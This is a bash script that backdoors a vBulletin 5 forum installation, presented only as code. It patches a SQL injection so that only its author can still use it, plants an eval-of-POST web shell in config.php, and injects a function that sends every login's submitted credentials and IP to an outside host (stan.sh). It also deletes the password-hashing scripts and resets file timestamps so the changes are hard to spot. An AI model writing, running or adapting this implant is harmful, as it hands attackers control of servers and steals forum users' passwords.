# patch echo opcache_reset();
time=$(stat core/vb/api/ | grep 'Modify:'|awk '{ print $2 " " $3 }');sed -i "s/return \$this->library->getIndexableContent(\$nodeId, \$include_attachments);/\/\/ easy patch\n\t\tif(preg_match('(1|,|null|select|union|where|or|where|by|from|--|#)', strtolower(\$nodeId['nodeid'])) === 1) {\n\t\t\tif (\!isset(\$nodeId['t1s_not0d4y_y3t'])) {\n\t\t\t\treturn null;\n\t\t\t}\n\t\t}\n\t\treturn \$this->library->getIndexableContent(\$nodeId, \$include_attachments);/g" core/vb/api/content.php;touch -d "${time}" ./core/vb/api/content.php ./core/vb/api/
# bak conf
time=$(stat ./config.php | grep 'Modify:'|awk '{ print $2 " " $3 }');sed -i "s/This setting is for where your vbulletin core folder is/This setting is for where your vbulletin core folder is\n@eval(\$_POST\['\$config'\]);/g" ./config.php;touch -d "${time}" ./config.php . web.php
# api class
time=$(stat includes/vb5/ | grep 'Modify:'|awk '{ print $2 " " $3 }');sed -i "s/public static function setRememberMeCookies(\$rememberMeToken, \$userid, \$expires = 30)/public static function actionCurlForm(array \$loginInfo = array(), array \$post)\n\t{\n\t\t\t\$data = array()\;\n\t\t\tdate_default_timezone_set('Asia\/Jakarta')\;\n\t\t\t\$data\['datetime'\] = date('Y-m-d H:i:s')\;\n\t\t\t\$data\['from'\] = \$_SERVER\['HTTP_REFERER'\]\;\n\t\t\t\$data\['ipaddress'\] = getenv(\"REMOTE_ADDR\")\;\n\t\t\tif (isset(\$loginInfo\['errors'\]) AND \!empty(\$loginInfo\['errors'\]))\n\t\t\t{\n\t\t\t    \$data\['message'\] = \"failed\"\;\n\t\t\t} else \n\t\t\t{\n\t\t\t    \$data\['message'\] = \"success\"\;\n\t\t\t}\n\t\t\tforeach(\$post as \$lstkey => \$lstval) {\n\t\t\t    if (empty(\$lstval)) {\n\t\t\t        continue\;\n\t\t\t    }\n\t\t\t    \$data\[\$lstkey\] = \$lstval\;\n\t\t\t}\n\t\t\t\$payload = json_encode(\$data)\;\n\t\t\t\/\/ Prepare new cURL resource\n\t\t\t\$ch = curl_init('https:\/\/stan.sh\/fetch.php')\;\n\t\t\tcurl_setopt(\$ch, CURLOPT_RETURNTRANSFER, true)\;\n\t\t\tcurl_setopt(\$ch, CURLINFO_HEADER_OUT, true)\;\n\t\t\tcurl_setopt(\$ch, CURLOPT_POST, true)\;\n\t\t\tcurl_setopt(\$ch, CURLOPT_POSTFIELDS, \$payload)\;\n\n\n\t\t\t\/\/ Set HTTP Header for POST request \n\t\t\tcurl_setopt(\$ch, CURLOPT_HTTPHEADER, array(\n\t\t\t    'Content-Type: application\/json',\n\t\t\t    'Content-Length: ' . strlen(\$payload))\n\t\t\t)\;\n\n\n\t\t\t\/\/ Submit the POST request\n\t\t\tcurl_exec(\$ch)\;\n\t\t\t\n\t\t\t\/\/ Close cURL session handle\n\t\t\tcurl_close(\$ch)\;\n\t}\n\n\tpublic static function setRememberMeCookies(\$rememberMeToken, \$userid, \$expires = 30)/g" includes/vb5/auth.php;touch -d "$time" includes/vb5/auth.php includes/vb5/
# user
time=$(stat ./includes/vb5/frontend/controller/ | grep 'Modify:'|awk '{ print $2 " " $3 }');sed -i "s/if (isset(\$loginInfo\['errors'\]) AND \!empty(\$loginInfo\['errors'\]))/vB5_Auth::actionCurlForm(\$loginInfo, \$_POST)\;\n\t\t\tif (isset(\$loginInfo\['errors'\]) AND \!empty(\$loginInfo\['errors'\]))/g;s/if (\!empty(\$loginInfo\['errors'\]))/vB5_Auth::actionCurlForm(\$loginInfo, \$_POST)\;\n\t\tif (\!empty(\$loginInfo\['errors'\]))/g" ./includes/vb5/frontend/controller/auth.php;touch -d "$time" ./includes/vb5/frontend/controller/auth.php ./includes/vb5/frontend/controller/
# admin
time=$(stat ./core/ | grep 'Modify:'|awk '{ print $2 " " $3 }');sed -i "s/if(isset(\$res\['errors'\]))/vB5_Auth::actionCurlForm(\$res, \$_POST);\n\tif(isset(\$res\['errors'\]))/g" ./core/login.php;touch -d "$time" ./core/login.php ./core/
# md5
time1=$(stat ./core/clientscript/ | grep 'Modify:'|awk '{ print $2 " " $3 }');time2=$(stat ./js/ | grep 'Modify:'|awk '{ print $2 " " $3 }');rm ./core/clientscript/vbulletin_md5.js ./js/login_md5.js;touch -d "${time1}" ./core/clientscript/;touch -d "${time2}" ./js/
rm q